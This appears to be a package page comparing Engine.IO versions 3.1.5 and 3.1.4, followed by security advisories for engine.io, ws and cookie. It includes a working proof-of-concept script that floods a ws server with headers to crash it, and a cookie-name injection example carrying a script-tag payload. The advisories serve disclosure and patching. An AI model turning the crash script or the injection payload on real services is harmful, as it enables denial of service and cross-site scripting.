Engine.IO versions 3.1.5 and 3.1.4 are both core components for building real-time, bidirectional communication, particularly within the Socket.IO ecosystem. Comparing the two reveals subtle yet impactful changes relevant to developers.
Version 3.1.5 upgrades several dependencies, notably ws to "~3.3.1", uws to "~9.14.0", and debug to "~3.1.0". This indicates a focus on leveraging the latest features and bug fixes in these underlying libraries, potentially improving performance and stability. Developers should note the uws dependency upgrade, as it is an optional dependency but can significantly boost performance in certain scenarios. Furthermore, accepts was updated to "~1.3.4" indicating an update in content negitiation handling.
The developer tooling also saw updates. mocha was upgraded to "^4.0.1", superagent to "^3.8.1", and babel-eslint to "^8.0.2" across these two stable versions. Engine.io-client's version has also been bumped to 3.1.5 which indicates an update to the client part of the same engine.
While the core functionality remains consistent, the shift in dependencies in version 3.1.5 underscores a commitment to staying current with best practices and performance enhancements within the Node.js ecosystem, ensuring a more robust and reliable foundation for real-time applications. These updates should be evaluated by developers to determine if they are beneficial for their specific use cases and dependencies.
All the vulnerabilities related to the version 3.1.5 of the package
Resource exhaustion in engine.io
Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io
package, including those who uses depending packages like socket.io
.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y
| 3.6.1
|
| engine.io@6.x.y
| 6.2.1
|
For socket.io
users:
| Version range | engine.io
version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x
| ~6.2.0
| npm audit fix
should be sufficient |
| socket.io@4.4.x
| ~6.1.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.3.x
| ~6.0.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.2.x
| ~5.2.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.1.x
| ~5.1.1
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.0.x
| ~5.0.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@3.1.x
| ~4.1.0
| Please upgrade to socket.io@4.5.x
(see here) |
| socket.io@3.0.x
| ~4.0.0
| Please upgrade to socket.io@4.5.x
(see here) |
| socket.io@2.5.0
| ~3.6.0
| npm audit fix
should be sufficient |
| socket.io@2.4.x
and below | ~3.5.0
| Please upgrade to socket.io@2.5.0
|
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.io
Thanks to Jonathan Neve for the responsible disclosure.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size
and/or the maxHeaderSize
options so that no more headers than the server.maxHeadersCount
limit can be sent.server.maxHeadersCount
to 0
so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value)
would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test"
, setting userName
cookie to <script>
and ignoring value
.
A similar escape can be used for path
and domain
, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name
, path
, and domain
.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.